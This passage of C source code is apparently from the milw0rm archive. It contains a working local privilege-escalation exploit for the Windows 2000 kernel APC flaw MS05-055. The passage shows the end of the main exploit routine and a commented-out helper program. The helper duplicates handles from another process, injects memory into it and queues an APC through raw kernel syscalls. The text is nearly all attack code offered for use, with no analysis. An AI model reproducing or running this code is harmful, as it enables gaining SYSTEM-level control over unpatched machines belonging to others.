CloseHandle(pi.hProcess);
ResumeThread(hTargetThread);
WaitForSingleObject(hTargetThread, INFINITE);
printf("Exploit finished.\n");
return 1;
}
/*
MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation Vulnerability Exploit
Created by SoBeIt
12.25.2005
Helper file of exploit
Tested on:
Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 Rollup 1 Chinese
Windows 2000 PRO SP4 English
Windows 2000 PRO SP4 Rollup 1 English
Usage:ms05-055.exe helper.exe
#include <stdio.h>
#include <windows.h>
#define NTSTATUS ULONG
typedef VOID (NTAPI *PKNORMAL_ROUTINE)(PVOID ApcContext, PVOID Argument1, PVOID Argument2);
__declspec(naked)
NTSTATUS
NTAPI
ZwQueueApcThread(
HANDLE hThread,
PKNORMAL_ROUTINE ApcRoutine,
PVOID ApcContext,
PVOID Argument1,
PVOID Argument2)
{
__asm
{
mov eax, 0x9e
lea edx, [esp+4]
int 0x2e
ret 0x14
}
}
__declspec(naked)
NTSTATUS
ZwAlertThread(
HANDLE hThread)
{
__asm
{
mov eax, 0x0c
lea edx, [esp+4]
int 0x2e
ret 0x4
}
}
VOID NTAPI ApcProc(PVOID ApcContext, PVOID Argument1, PVOID Argument2)
{
}
int main(int argc, char *argv[])
{
HANDLE hTargetThread, hTargetProcess, hThread;
int ProcessId;
PVOID pApcProc;
if(argc != 3)
{
printf(" Usage:ms05-055.exe helper.exe. \n");
return 1;
}
hTargetThread = (HANDLE)atoi(argv[1]);
ProcessId = atoi(argv[2]);
printf("Got thread handle:%x, Got process id:%x\n", hTargetThread, ProcessId);
hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
printf("Process handle:%x\n", hTargetProcess);
if(!DuplicateHandle(hTargetProcess, hTargetThread, GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS))
printf("Duplicate handle failed.\n");
if((pApcProc = VirtualAllocEx(hTargetProcess, 0, 1024*4, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
printf("Allocate remote memory failed.\n");
if(!WriteProcessMemory(hTargetProcess, pApcProc, &ApcProc, 1024*4, 0))
printf("Write remote memory failed.\n");
ZwAlertThread(hThread);
ZwQueueApcThread(hThread, (PKNORMAL_ROUTINE)pApcProc, NULL, NULL, NULL);
CloseHandle(hTargetProcess);
CloseHandle(hThread);
printf("Now terminating process.\n");
ExitProcess(0);
}
*/
// milw0rm.com [2006-01-05]